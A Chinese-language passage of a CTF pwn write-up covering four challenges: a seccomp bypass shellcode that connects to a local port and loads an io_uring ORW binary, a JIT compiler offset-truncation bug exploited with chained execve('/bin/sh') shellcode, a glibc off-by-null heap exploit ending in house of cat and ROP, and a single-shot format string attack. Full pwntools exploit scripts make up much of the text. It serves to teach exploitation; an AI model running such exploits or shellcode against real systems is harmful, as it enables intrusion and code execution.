那么这题就可以用io_uring来实现shellcode,从而绕过沙箱。
不过由于手搓io_uring的shellcode相当麻烦,所以这里还有一个取巧的办法,沙箱并没有堵住recvfrom函数,因此可以上传一个mmap-socket-connect-recvfrom的shellcode。
首先静态编译(不开启pie)一个使用io_uring进行orw的程序,然后在本地使用cat orw | nc -l 8888
将程序从本地的8888端口发送出去。
shellcode中的mmap用于在0x400000开辟一块内存,然后connect到本地的8888端口,再调用recvfrom从8888端口读取数据,存储在0x400000处,也就是将orw这个程序读取到0x400000处。最后跳转到orw的main函数处继续执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <liburing.h> #include <string.h> #include <liburing/io_uring.h> #define BUFSIZE 256 int main () { struct io_uring ring ; struct io_uring_params params ; int fd; char buffer[BUFSIZE]; memset (¶ms, 0 , sizeof (params)); if (io_uring_queue_init_params(1 , &ring, ¶ms) < 0 ) { perror("io_uring_queue_init_params" ); return 1 ; } struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); io_uring_prep_openat(sqe, AT_FDCWD, "flag" , O_RDONLY, 0 ); io_uring_sqe_set_flags(sqe, IOSQE_ASYNC); io_uring_submit(&ring); sqe = io_uring_get_sqe(&ring); io_uring_prep_read(sqe, 5 , buffer, BUFSIZE, 0 ); io_uring_sqe_set_flags(sqe, IOSQE_ASYNC); io_uring_submit(&ring); sqe = io_uring_get_sqe(&ring); io_uring_prep_write(sqe, STDOUT_FILENO, buffer, BUFSIZE, 0 ); io_uring_sqe_set_flags(sqe, IOSQE_ASYNC); io_uring_submit(&ring); struct io_uring_cqe *cqe ; if (io_uring_wait_cqe(&ring, &cqe) < 0 ) { perror("io_uring_wait_cqe" ); return 1 ; } io_uring_submit(&ring); io_uring_cq_advance(&ring, 2 ); io_uring_queue_exit(&ring); close(fd); return 0 ; }
1 2 3 4 5 6 7 8 int main () { struct sockaddr_in *serv_addr = malloc (sizeof (struct sockaddr_in)); memset (serv_addr, 0 , sizeof (struct sockaddr_in)); serv_addr->sin_family = AF_INET; serv_addr->sin_addr.s_addr = inet_addr("127.0.0.1" ); serv_addr->sin_port = htons(8888 ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *context.terminal = ['tmux' ,'splitw' ,'-h' ] context.arch='amd64' io=process('./master-of-orw' ) socket_struct = 0x020022b87f000001 asm_socket = ''' mov rax, 41 mov rdi, 2 mov rsi, 1 xor rdx, rdx syscall ''' push_socket_struct = ''' mov r15, 0x0100007fb8220002 push r15 ''' asm_connect = ''' mov rsi, rsp mov rdi, 3 mov rdx, 0x10 mov rax, 42 syscall ''' cyc_recv = ''' mov rsi, 0x400000 mov r14, 0xcfcc8 again: mov edi, 3 mov rdx, 0x1000 mov r10d, 0 xor r8d, r8d xor r9d, r9d mov eax, 45 ;// recvfrom syscall add rsi, rax sub r14, rax cmp r14,0 jge again push 0x401620 //orw的main函数地址 ret ''' shellcode = asm(shellcraft.mmap(0x400000 ,0x100000 ,7 ,33 ,0 ,0 )) + \ asm(asm_socket) + asm(push_socket_struct) + asm(asm_connect) + \ asm(cyc_recv) io.recvuntil('code\n' ) gdb.attach(io) io.send(shellcode) io.interactive()
0x1B.西湖论剑2023 JIT C++写的,没去符号表
进入到Compiler::main
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 void __cdecl JITHelper::init () { JITHelper::execbuf = (char *)mmap (0LL , 0x2000 uLL, 7 , 34 , -1 , 0LL ); JITHelper::exec_wr = JITHelper::execbuf; memset (JITHelper::execbuf, '\xCC' , 0x2000 uLL); } void *__cdecl JITHelper::nowptr () { return JITHelper::exec_wr; } std::string *__cdecl std::literals::string_literals::operator "" s[abi:cxx11]( std::string *__return_ptr retstr, const char *__str, std::size_t __len) { char v5; unsigned __int64 v6; v6 = __readfsqword(0x28 u); std::allocator<char >::allocator (&v5); std::string::basic_string (retstr, __str, __len, &v5); std::allocator<char >::~allocator (&v5); return retstr; }
std::literals::string_literals::operator"" s[abi:cxx11](&boot, _str, 0xBuLL);
_str如下所示
_str实际上是一段指令。往boot中写入这段指令。
看到JITHelper::write(&p_payload);
就是将boot中的指令拷贝到JITHelper::exec_wr
中,如下图
然后将JITHelper::exec_wr
指针向后移。继续往下看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 bool __cdecl IRstream::empty () { return std::string::size (&IRstream::ir[abi:cxx11]) == IRstream::pos; } void __cdecl Compiler::handleFn () { u8 id; u8 args; u8 locals; unsigned __int64 v3; v3 = __readfsqword(0x28 u); if ( IRstream::getop () != 0xFF ) fatal (); id = IRstream::getop (); if ( std::unordered_map<unsigned char ,Compiler::func>::count (&Compiler::funcs, &id) ) fatal (); args = IRstream::getop (); locals = IRstream::getop (); Compiler::creatFunc (id, args, locals); } u8 __cdecl IRstream::getop () { size_t v0; unsigned __int8 r; v0 = IRstream::pos + 1 ; if ( v0 > std::string::size (&IRstream::ir[abi:cxx11]) ) fatal (); r = *(_BYTE *)(std::string::data ((__int64)&IRstream::ir[abi:cxx11]) + IRstream::pos); ++IRstream::pos; return r; }
IRstream::ir
指向JIT指令的起始位置,IRstream::pos
指向当前的JIT指令,getop()就是根据pos从ir中获取1字节的指令。
根据id创建函数,将函数映射到Compiler::funcs
,然后进入到creatFunc
函数中
参数不能大于8个,局部变量不能多于0x20个;unk_59E0
也是一段代码,我们写一个简单的指令来调试一下:payload=p8(0xff)+p8(0)+p8(1)+p8(1)
当运行完JITHelper::write(&p_payload);
之后,JITHelper::exec_wr
中的指令如下所示
红框中就是unk_59E0
中的指令。运行完JITHelper::bwrite<int>(8 * locals);
之后,指令变成了如下所示
由于我们设置的局部变量数据只有1个,所以这里将8*1写入了其中,抬栈8个字节。在这个函数中就是为函数开辟栈空间。
看到Compiler::handleFnBody
函数
通过循环取opcode来决定要执行的代码,case 0的操作最为简单,从case 0看起
1 2 3 case 0u : v0 = IRstream::getop (); return Compiler::var2idx (v0);
取下一个字节opcode,然后传入Compiler::var2idx
,看到这个函数
最高位为1时取局部变量,最高位为0时取参数,题目限制args<=8,locals<=0x20,根据这个限制,写一个脚本打印出var2idx
的所有返回值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def var2idx (varib ): if varib&0x7f ==0 : exit(-1 ) if varib&0x80 ==0 : if varib>8 : exit(-1 ) if 8 *varib<=0 : exit(-1 ) return 8 *varib else : variba=varib^0x80 if variba>0x20 : exit(-1 ) if -8 *variba>0 : exit(-1 ) return -8 *variba for i in range (1 ,9 ): print (hex (i)+':' +hex (var2idx(i))) for i in range (0x81 ,0x81 +0x20 ): print (hex (i)+':' +hex (var2idx(i)))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 0x1:0x8 0x2:0x10 0x3:0x18 0x4:0x20 0x5:0x28 0x6:0x30 0x7:0x38 0x8:0x40 0x81:-0x8 0x82:-0x10 0x83:-0x18 0x84:-0x20 0x85:-0x28 0x86:-0x30 0x87:-0x38 0x88:-0x40 0x89:-0x48 0x8a:-0x50 0x8b:-0x58 0x8c:-0x60 0x8d:-0x68 0x8e:-0x70 0x8f:-0x78 0x90:-0x80 0x91:-0x88 0x92:-0x90 0x93:-0x98 0x94:-0xa0 0x95:-0xa8 0x96:-0xb0 0x97:-0xb8 0x98:-0xc0 0x99:-0xc8 0x9a:-0xd0 0x9b:-0xd8 0x9c:-0xe0 0x9d:-0xe8 0x9e:-0xf0 0x9f:-0xf8 0xa0:-0x100
var2idx
的返回值范围为[-0x100,0x40]
.
case 0时就直接从handleFnBody
中return了,以这样的payload试试:p8(0xff)+p8(0)+p8(1)+p8(0x20)+p8(0)+p8(0x81)
在handleFnBody
之后是func_ret
,handleFnBody的返回值和局部变量数作为参数传入其中:
当程序运行到如下代码之后
此时exec_wr中的指令为
我们再把payload修改为:p8(0xff)+p8(0)+p8(1)+p8(0x20)+p8(0)+p8(0x86)
,exec_wr中的指令变为了如下
lea rdi,[rbp-xx]
中的数字就是var2idx
的返回值,在func_ret
函数中,生成了函数退出的指令。
再分析功能码1的指令,输入payload:p8(0xff)+p8(0)+p8(1)+p8(0x20)+p8(1)+p8(0x81)+p64(0x100)
得到以下指令
即var=imm,将1个立即数赋值给一个参数或者局部变量
看到功能码2,使用payload:p8(0xff)+p8(0)+p8(1)+p8(0x20)+p8(2)+p8(0x81)+p64(0x82)
得到以下指令
即var1=var2,将var2的值赋值给var1
看到功能码3,使用payload:p8(0xff)+p8(0)+p8(1)+p8(0x20)+p8(3)+p8(0x81)+p64(0x82)
很明显,var1&=var2
看到功能码4,使用payload:p8(0xff)+p8(0)+p8(1)+p8(0x20)+p8(4)+p8(0x81)+p64(0x82)
var1|=var2
功能5:
var1^=var2
功能6太长了,暂时不看。
在生成完指令之后,会跳出handleFn
函数,进入到一大串if判断
要求有id为0的函数,且这个函数的参数数量为0,并且entry+boot能够找到这个函数,这里就是在判断main函数。
那么漏洞点在哪里?
在所有功能中,对于参数和局部变量的取值都是以rbp-xx的形式,在var2idx函数中
返回偏移量的时候,是char类型,对于参数,返回值的范围是[0x8,0x40],而对于局部变量,返回值的范围则是[-0x8,-0x100],而0x100则会被截断变成0,此时就可以控制rbp的值。如下图所示
该如何利用?
在一开始调用这些指令时
rbp和rsp指向同一处,然后函数序言sub rsp,0x100开辟函数栈,函数尾声的时候add rsp,0x100还原函数栈
紧跟着ret,就是pop rip,将栈顶的值弹出到rip继续执行,而由于rbp和rsp相同,所以控制了rbp的值就相当于控制了rsp的值,也就能控制JIT指令执行完毕后要执行的指令。
利用思路就是把execve(“/bin/sh”)的shellcode的字节码先通过功能1赋值到栈上,这样exec_buf中就有了字节码,由于字节码一次只能存储8字节,并且字节码之间会有JIT的字节码,所以需要使用jmp short s这样的段跳转指令来连接每条shellcode;最后控制rbp的值,使其指向shellcode的开始处。(因为开启了NX,所以栈没有可执行权限,只能在execbuf中进行shellcode执行)
如下所示
第一个8字节为\x48\x31\xf6\xeb\x0c\x00\x00\x00
,第二个8字节为\x48\x31\xd2\xeb\x0c\x00\x00\x00
,可以看到这两个8字节之间是分开的,中间还存储着JIT字节码,所以在第一个8字节中,需要使用jmp进行跳转到第二个8字节的shellcode中,第二个再跳到第三个,依次类推。使用jmp 0xe
这样子的跳转来跳转到第二个8字节的shellcode继续执行。
这是shellcode的主体,我们还需要修改rbp的值,使其能够跳转执行我们的shellcode。
我们的shellcode的起始位置的末尾两字节是0x25,所以我们将rbp的值末尾两字节修改为0x25即可
这样ret就能够执行我们的shellcode
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context.log_level='debug' context.terminal=['tmux' ,'splitw' ,'-h' ] io=process('./jit' ) payload=p8(0xff )+p8(0 )+p8(0 )+p8(0x20 ) payload+=p8(1 )+p8(0x8b )+b'/bin/sh\x00' payload+=p8(1 )+p8(0x8a )+b'\x48\x31\xf6\xeb\x0c\x00\x00\x00' payload+=p8(1 )+p8(0x89 )+b'\x48\x31\xd2\xeb\x0c\x00\x00\x00' payload+=p8(1 )+p8(0x88 )+b'\x48\x31\xc0\xeb\x0c\x00\x00\x00' payload+=p8(1 )+p8(0x87 )+b'\x48\x83\xc0\x3b\xeb\x0b\x00\x00' payload+=p8(1 )+p8(0x86 )+b'\x0f\x05\x00\x00\x00\x00\x00\x00' payload+=p8(1 )+p8(0x85 )+p64(0x25 ) payload+=p8(1 )+p8(0x84 )+p64(0xffffffffff00 ) payload+=p8(3 )+p8(0xa0 )+p8(0x84 ) payload+=p8(4 )+p8(0xa0 )+p8(0x85 ) payload+=p8(0 )+p8(0x8b ) gdb.attach(io) io.send(payload) io.interactive()
0x1C.强网杯2023 warmup23 这题考察的就是高版本的off-by-null的利用
不限制堆块的大小,但是会在写入的数据的末尾添加0字符,这样就无法直接泄露出libc地址以及堆地址,需要通过off-by-null构造出overlapchunk之后才能泄露信息。
高版本的off-by-null基本都是通过largebin的残留信息来构造出fake_chunk->fd->bk==fake_chunk,fake_chunk->bk->fd==fake_chunk
这样的条件,进而绕过检查。
这道题比赛的时候我是照着glibc2.29+的off by null利用 - 跳跳糖 (tttang.com) 这篇文章给的poc进行调整利用的,虽然做出来了但对于其中的构造还是没有弄太清楚,所以还需要仔细分析一下。前面提到的利用largebin来进行绕过需要爆破,而这篇文章中介绍的利用unsortedbin无需爆破。
构造overlap chunk需要以下步骤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 add(0x418 , "A" *0x100 ) add(0x108 ) add(0x418 , "B0" *0x100 ) add(0x438 , "C0" *0x100 ) add(0x108 ,'4' *0x100 ) add(0x488 , "H" *0x100 ) add(0x428 , "D" *0x100 ) add(0x108 ) delete(0 ) delete(3 ) delete(6 ) delete(2 ) add(0x438 , 'a' * 0x418 + p64(0x551 )[:-2 ]) add(0x418 ) add(0x428 ) add(0x418 ,"0" *0x100 ) delete(6 ) delete(2 ) add(0x418 , 'a' * 8 ) add(0x418 ) delete(6 ) delete(3 ) delete(5 ) add(0x500 -8 , '6' *0x488 + p64(0x431 )) add(0x3b0 ) delete(4 ) add(0x108 ,'4' *0x100 +p64(0x550 )) add(0x418 ) delete(3 )
逐步分析
首先分配如下chunk
按照0,3,6,2的顺序将chunk free掉
首先free 0
放入到unsortedbin
接着free 3,chunk3被加入到链表头,fd指向chunk0,chunk0的bk指针指向chunk3
然后free 6,chunk6被加入到链表头,fd指向chunk3
chunk3的fd指向chunk0,bk指向chunk6
chunk0的bk指向chunk3
最后free chunk2,由于chunk2和chunk3相邻,所以会合并,chunk2的fd指向chunk6
这一轮free之后,借助unsortedbin我们在堆中留下了地址信息。
然后我们开始伪造fakechunk
1 add(0x438, 'a' * 0x418 + p32(0x551)[:-2]) #0
从0x861的chunk中切下来一块,利用chunk3的残留指针信息伪造fakechunk,如下图
伪造的chunksize为0x551,fd指向chunk0,bk指向chunk6。
然后再将剩余的unsortedbin全部取出来,此时堆如下图
fake_chunk有了,接下来构造fake_chunk->fd->bk==fake_chunk
以及fake_chunk->bk->fd==fake_chunk
fakechunk的fd指向chunk0(重新申请unsortedbin之后,chunk0变为了chunk6),所以需要将chunk0的bk指向fakechunk,也是利用unsortedbin的残留指针
fakechunk下方的chunk2的地址和fakechunk相差在0x100范围内,且fakechunk的地址末尾是00,所以可以使用chunk2和chunk6构成一个链表,在chunk6的的bk指针中写入chunk2的地址,再申请回来,利用写入附带的0,将bk指针修改为指向fakechunk,如下图所示
此时即可绕过第一个检查fake_chunk->fd->bk==fake_chunk
。
fakechunk的bk指针指向chunk6(重新申请unsortedbin之后,chunk6变为了chunk3),依然是故技重施,利用chunk6和chunk3形成一个链表,往chunk3的fd中写入chunk6的地址,但由于add功能至少要写入1个字节加1个00字符,所以直接将chunk3申请出来会破坏掉fd指针;这里还需要将chunk3上方的chunk5也free掉,然后chunk5和chunk3合并为一个大chunk,然后再从这快大chunk中切割,覆盖掉原有的chunk3的size位,利用多写的一个0字符就可以修改fd指针。
如下图所示:
覆盖前
覆盖后
如此一来,fake_chunk->fd->bk==fake_chunk
以及fake_chunk->bk->fd==fake_chunk
的要求就都满足了
接下来只需要在在fakechunk的下一个chunk中伪造好prev_size,并进行off-by-null即可,如下图
整体构造图如下
很巧妙的做法,利用unsortedbin的残留指针绕过检查,并且不需要爆破,学到了。
完整的exp如下,off-by-null之后house of cat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 from pwn import *context.log_level='debug' libc=ELF('./libc.so.6' ) def add (size,content='a' ): io.recvuntil('>> ' ) io.sendline('1' ) io.recvuntil('Size: ' ) io.sendline(str (size)) io.recvuntil('Note: ' ) io.send(content) def show (index ): io.recvuntil('>> ' ) io.sendline('2' ) io.recvuntil('Index: ' ) io.sendline(str (index)) def delete (index ): io.recvuntil('>> ' ) io.sendline('3' ) io.recvuntil('Index: ' ) io.sendline(str (index)) def pwn (io ): add(0x418 , "A" *0x100 ) add(0x108 ) add(0x418 , "B" *0x100 ) add(0x438 , "C" *0x100 ) add(0x108 ,'4' *0x100 ) add(0x488 , "D" *0x100 ) add(0x428 , "E" *0x100 ) add(0x108 ) delete(0 ) delete(3 ) delete(6 ) delete(2 ) add(0x438 , 'a' * 0x418 + p32(0x551 )[:-2 ]) add(0x418 ) add(0x428 ) add(0x418 ,"0" *0x100 ) delete(6 ) delete(2 ) add(0x418 , 'a' * 8 ) add(0x418 ) delete(6 ) delete(3 ) delete(5 ) add(0x500 -8 , '6' *0x488 + p64(0x431 )) add(0x3b0 ) delete(4 ) add(0x108 ,'4' *0x100 +p64(0x550 )) add(0x418 ) delete(3 ) add(0x18 ,'a' ) show(6 ) libc_base=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x219ce0 pop_rdi=libc_base+0x000000000002a3e5 pop_rsi=libc_base+0x000000000002be51 pop_rdx=libc_base+0x00000000000796a2 pop_rax=libc_base+0x0000000000045eb0 syscall=libc_base+0x0000000000091316 ret=libc_base+0x0000000000029139 stderr=libc_base+libc.symbols['stderr' ] setcontext=libc_base+libc.symbols['setcontext' ]+61 io_wfile_jumps=libc_base+0x2160c0 io_list_all=libc_base+0x21a680 log.success('libc_base => {}' .format (hex (libc_base))) log.success('stderr => {}' .format (hex (stderr))) show(2 ) io.recvuntil('a' *8 ) heap_base=u64(io.recv(6 ).ljust(8 ,'\x00' ))-0x15e0 log.success('heap_base => {}' .format (hex (heap_base))) delete(7 ) delete(4 ) add(0x498 ,'a' *0x410 +p64(0 )+p64(0x111 )+p64((stderr-0x20 )^((heap_base+0x1050 )>>12 ))+p64(0 )) add(0x108 ,'./flag\x00' ) add(0x108 ,p64(0 )*3 +p64(libc_base+0x216600 )+p32((heap_base+0x2b0 )&0xffffffff )+p16(((heap_base+0x2b0 )>>32 )&0xffff )) flagaddr=heap_base+0x1050 orw=p64(pop_rdi)+p64(flagaddr)+p64(pop_rsi)+p64(0 )+p64(pop_rdx)+p64(0 )+p64(pop_rax)+p64(2 )+p64(syscall) orw+=p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(heap_base+0x1a20 )+p64(pop_rdx)+p64(0x40 )+p64(pop_rax)+p64(0 )+p64(syscall) orw+=p64(pop_rdi)+p64(1 )+p64(pop_rsi)+p64(heap_base+0x1a20 )+p64(pop_rdx)+p64(0x40 )+p64(pop_rax)+p64(1 )+p64(syscall) add(0x200 ,orw) fake_io_addr=heap_base+0x2b0 orw_addr=heap_base+0x10d0 next_chain = 0 fake_IO_FILE = p64(0 )*4 fake_IO_FILE +=p64(0 ) fake_IO_FILE +=p64(0 ) fake_IO_FILE +=p64(1 )+p64(2 ) fake_IO_FILE +=p64(fake_io_addr+0xb0 ) fake_IO_FILE +=p64(setcontext) fake_IO_FILE = fake_IO_FILE.ljust(0x58 , '\x00' ) fake_IO_FILE += p64(0 ) fake_IO_FILE = fake_IO_FILE.ljust(0x78 , '\x00' ) fake_IO_FILE += p64(heap_base+0x200 ) fake_IO_FILE = fake_IO_FILE.ljust(0x90 , '\x00' ) fake_IO_FILE +=p64(fake_io_addr+0x30 ) fake_IO_FILE = fake_IO_FILE.ljust(0xB0 , '\x00' ) fake_IO_FILE += p64(1 ) fake_IO_FILE = fake_IO_FILE.ljust(0xC8 , '\x00' ) fake_IO_FILE += p64(io_wfile_jumps+0x10 ) fake_IO_FILE +=p64(0 )*6 fake_IO_FILE += p64(fake_io_addr+0x30 +0x10 ) payload1=fake_IO_FILE+p64(flagaddr)+p64(0 )+p64(0 )*5 +p64(orw_addr)+p64(ret) delete(2 ) add(0x418 ,payload1) delete(1 ) delete(7 ) delete(4 ) add(0x498 ,'a' *0x410 +p64(0 )+p64(0x111 )+p64((heap_base+0x1b20 )^((heap_base+0x1050 )>>12 ))+p64(0 )) add(0x108 ,'flag\x00' ) add(0x108 ,p64(0 )+p64(0x30 )) add(0x1000 ) data=io.recv(0x40 ) print (data) io.interactive() io=remote('120.24.69.11' ,12700 ) pwn(io)
0x1D.拟态强网决赛 fmt 【格式化字符串修改不存在的指针】
给了栈地址的末尾两字节,然后读取0x100字节,一次格式化字符串的机会,而且格式化字符串是在bss段不在栈上,之后使用_exit(0)退出程序。
众所周知,不在栈上的格式化字符串需要找到一条栈链,如下图所示
通过对栈链的间接修改,从而修改我们想要修改的内存的数据。而对于栈链的修改通常需要2次或者以上的printf才能达到我们的目的,然而对于本题只有一次printf的机会,该如何进行返回地址的修改呢?
首先看看保护
有用的全开了,所以还是老老实实改返回地址吧。
我们正常修改一个内存值,使用%Xc%$Yhn
这样的格式化字符串,%$Y用于指定要往格式化字符串的第几个内存中写入数据,然而如果想要在一次printf中多次修改的话,需要做一点改动。
我们需要做两步,第一步是修改偏移0x40处的栈链
使得栈链能够指向返回地址,如下图所示
然后再修改0x130偏移处的栈链,进而修改printf的返回地址。
我们使用如下的payload,来在一次printf中完整两个栈链的修改
1 2 3 4 5 payload='%' +str (ret_end-11 )+'c' payload+='%c' *11 payload+='%hn' payload+='%' +str (0x10023 -ret_end)+'c' +'%43$hhn' payload=payload.ljust(0x30 ,'a' )
第一次修改不使用%Xc%Y$hhn
,%Y$
用于指定要写入的偏移,比如%11$
就是格式化字符串的第11个偏移量,在第一次修改中不使用$
来指定偏移,而是使用连续的%来堆叠偏移,使用hn来进行写入的时候,如果没有$
,就会根据hn前面出现的%数量来确定写入的偏移,如果hn前面有11个%,同样能够实现%11$hn
的效果,所以这一段payload
1 2 3 payload='%' +str (ret_end-11 )+'c' payload+='%c' *11 payload+='%hn'
实现的也是'%'+str(ret_end-11)+'c'+'%11$hn'
的效果。
第一条栈链使用%13$p
来寻找,上面的payload中,hn之前出现了13个%,为什么是'%'+str(ret_end-11)+'c'
呢,因为后面还用了11个%c,输出了11个字符。
修改第二条栈链就不需要使用这种形式了,按照正常格式改就可以。至于为什么第一条栈链的修改不能使用$,暂时还不清楚,可能和%n的使用有关。
发送这样的payload之后,就可以修改printf的返回地址到main函数,顺便再泄露libc地址和栈地址
该怎么样进行利用呢,毕竟返回地址只有一个,总不能一边修改返回地址为main,一边修改返回地址为onegadget吧。
在栈空间中,我们可以找到多条栈链
第一条栈链用于修改printf的返回地址,第二条栈链用于将返回地址的下一个地址修改为onegadget,最后再将返回地址修改为ret,这样printf执行完之后就会执行ret滑向onegadget,如下图所示
ret用的是万能gadget的末尾
返回地址被修改为了ret的地址,ret之后就是onegadget。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *context.log_level='debug' io=process('./fmt' ) io.recvuntil('Gift: ' ) stack_end=int (io.recv(4 ),16 ) ret_end=stack_end-0xc log.info("stack_addr => {}" .format (stack_end)) payload='%' +str (ret_end-9 )+'c' payload+='%c' *9 payload+='%hn' payload+='%' +str (0x10023 -ret_end)+'c' +'%39$hhn' payload=payload.ljust(0x30 ,'a' ) payload+='%9$p%11$p%13$p' io.send(payload) io.recvuntil('a' *6 ) libc_base=int (io.recv(14 ),16 )-0x24083 stack_addr=int (io.recv(14 ),16 ) pro_base=int (io.recv(14 ),16 )-0x00000000000011A9 log.info("libc_base => {}" .format (hex (libc_base))) log.info("stack_addr => {}" .format (hex (stack_addr))) log.info("pro_base => {}" .format (hex (pro_base))) ret_next_addr=stack_addr-0x108 onegadget=libc_base+0xe3b01 payload='%' +str (0x23 )+'c%39$hhn' payload+='%' +str ((ret_next_addr&0xffff )-0x23 )+'c%27$hn' payload=payload.ljust(0x100 ,'\x00' ) io.send(payload) payload='%' +str (0x23 )+'c%39$hhn' payload+='%' +str ((onegadget&0xffff )-0x23 )+'c%41$hn' payload=payload.ljust(0x100 ,'\x00' ) io.send(payload) payload='%' +str (0x23 )+'c%39$hhn' payload+='%' +str (((ret_next_addr+2 )&0xffff )-0x23 )+'c%27$hn' payload=payload.ljust(0x100 ,'\x00' ) io.send(payload) payload='%' +str (0x23 )+'c%39$hhn' payload+='%' +str (((onegadget>>16 )&0xffff )-0x23 )+'c%41$hn\x00' payload=payload.ljust(0x100 ,'\x00' ) io.send(payload) payload='%' +str (0x23 )+'c%39$hhn' payload+='%' +str (((ret_next_addr+4 )&0xffff )-0x23 )+'c%27$hn\x00' payload=payload.ljust(0x100 ,'\x00' ) io.send(payload) payload='%' +str (0x23 )+'c%39$hhn' payload+='%' +str (((onegadget>>32 )&0xffff )-0x23 )+'c%41$hn\x00' payload=payload.ljust(0x100 ,'\x00' ) io.send(payload) payload='%' +str (0xc4 )+'c%39$hhn\x00' gdb.attach(io) pause() io.send(payload) io.interactive() ''' 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL '''